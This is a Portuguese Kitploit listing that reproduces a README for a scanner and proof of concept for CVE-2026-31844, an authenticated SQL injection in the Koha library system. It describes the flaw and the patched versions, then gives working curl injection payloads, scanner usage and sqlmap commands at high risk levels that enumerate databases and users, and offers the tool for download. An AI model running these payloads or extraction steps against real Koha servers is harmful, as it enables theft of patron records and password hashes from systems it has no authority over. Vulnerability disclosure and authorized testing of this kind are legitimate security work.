Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31844 — Scanner de injeção SQL autenticado para o Sistema de Gerenciamento de Bibliotecas Koha (CVE-2026-31844) usando técnica cega baseada em booleano para verificar vulnerabilidade e extrair dados. | Kitploit
Ferramentas/GitHubGitHub/mothra-1/cve-2026-31844
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

Scanner de injeção SQL autenticado para o Sistema de Gerenciamento de Bibliotecas Koha (CVE-2026-31844) usando técnica cega baseada em booleano para verificar vulnerabilidade e extrair dados.

Ver Repositório
11há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Koha CVE-2026-31844: Injeção SQL Autenticada

Release Python 3.6+ CVE ID License

Visão Geral

Este repositório contém um POC responsável de vulnerabilidade para CVE-2026-31844, uma vulnerabilidade de injeção SQL autenticada de alta gravidade no Sistema de Gerenciamento de Bibliotecas Koha.

A vulnerabilidade existe na função GetDistinctValues em C4/Search.pm, que é chamada pelo script /cgi-bin/koha/suggestion/suggestion.pl. Ela pode ser explorada por meio do parâmetro displayby.

  • Bug do Koha: #41593
  • Versões Corrigidas: 26.05.00, 25.11.01, 25.05.07, 24.11.12
  • Detalhes da Vulnerabilidade

    O parâmetro displayby no script suggestion.pl é usado para construir um nome de coluna qualificado por tabela, que é então passado para a função GetDistinctValues. No entanto, esta função incorpora diretamente tanto o nome da tabela quanto o nome da coluna em uma consulta SQL bruta sem realizar qualquer validação de entrada ou parametrização. Como resultado, um atacante pode manipular o parâmetro displayby para injetar código SQL malicioso na consulta. Como a entrada não é sanitizada antes de ser incluída na instrução SQL, esse comportamento introduz uma vulnerabilidade de Injeção SQL, que pode permitir que um atacante execute comandos SQL arbitrários usando a técnica Boolean-Based Blind no banco de dados.

    root@kitploit:~
    # suggestion.pl
    my $displayby = $input->param('displayby') || '';
    my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
    

    Descobridor

    Raximov Shukrulloh (Mothra)

    Você pode escanear seu alvo aqui

    O scanner usa a técnica Boolean-Based Blind para verificar a vulnerabilidade

    Ao injetar instruções condicionais na posição do nome da coluna, podemos observar respostas HTTP diferenciais:

    • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Erro de Subconsulta → HTTP 500
    • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Consulta Válida → HTTP 200

    Se o alvo retornar um 500 para a condição verdadeira e um 200 para a condição falsa, a vulnerabilidade é confirmada.

    Instalação e Uso

    1. Clonar o Repositório

    root@kitploit:~
    git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
    cd CVE-2026-31844-Koha-Scanner
    

    2. Instalar Requisitos

    root@kitploit:~
    pip3 install requests
    

    3. Executar o Scanner

    Você deve fornecer credenciais válidas para uma conta de funcionário do Koha com a permissão suggestions.

    root@kitploit:~
    python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
    

    Para alvos com certificados SSL autoassinados:

    root@kitploit:~
    python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
    

    4. Exemplo de Saída

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════════╗
    ║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
    ║       Authenticated SQLi in suggestion.pl (displayby)         ║
    ║                 (Responsible Check Only)                      ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    [*] Target: http://koha.local:8081
    [*] Authenticating to staff interface as 'koha_admin'...
    [+] Authentication successful!
    
    ============================================================
     VULNERABILITY SCAN
    ============================================================
    [*] Testing vulnerability using safe Boolean-blind evaluation...
        [1] Testing baseline request (STATUS)... HTTP 200 (OK)
        [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
        [3] Testing FALSE condition evaluation... HTTP 200 (OK)
    ============================================================
    
    [ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 
    
    [! ] The target evaluated the SQL conditions and returned differential HTTP codes.
    [! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
    

    Prova de Conceito (PoC) Manual

    Você pode verificar manualmente a vulnerabilidade via curl. Primeiro, autentique-se na interface de funcionários do Koha e capture seu cookie CGISESSID.

    Condição Verdadeira (Retorna HTTP 500):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
    

    Condição Falsa (Retorna HTTP 200):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
    

    5. Exploração via SQLMap

    O SQLMap suporta nativamente injeção cega baseada em booleano. Para automatizar a extração de dados, salve uma solicitação HTTP autenticada válida em request.txt. Mantenha os cookies csrf_token e CGISESSID válidos.

    Exemplo de request.txt:

    root@kitploit:~
    GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
    Host: koha.example.com
    Cookie: CGISESSID=your_session_id_here
    User-Agent: Mozilla/5.0
    

    Execute o SQLMap com a técnica booleana (--technique=B):

    root@kitploit:~
    # Extração básica do banco de dados
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
    
    # Extrair usuário atual
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
    

    Ou execute diretamente pela linha de comando:

    root@kitploit:~
    sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
      --cookie="CGISESSID=your_session_id_here" \
      -p displayby \
      --dbms=mysql \
      --technique=B \
      --current-db
    

    Após algum tempo, o sqlmap identificará o payload correto.

    Impacto

    Se não for corrigida, esta vulnerabilidade permite que um atacante autenticado:

    1. Extraia informações sensíveis (registros de usuários, hashes de senhas)
    2. Enumere o esquema do banco de dados
    3. Comprometa totalmente o banco de dados de backend

    Mitigação

    Atualize para a versão do Koha 24.11.12, 25.05.07, 25.11.01 ou 26.05.00 (ou posterior), que inclui uma correção para esta vulnerabilidade.

    Créditos

    Raximov Shukrulloh (Mothra)

    Contato

    Bot do Telegram @MothraContact_bot

    Considerações Éticas

    Esta prova de conceito é fornecida apenas para fins educacionais e defensivos. Sempre obtenha autorização adequada antes de testar qualquer sistema em busca de vulnerabilidades.

    Aviso Legal

    O autor não é responsável por qualquer uso indevido destas informações. Esta prova de conceito deve ser usada apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar.

    Baixar ferramenta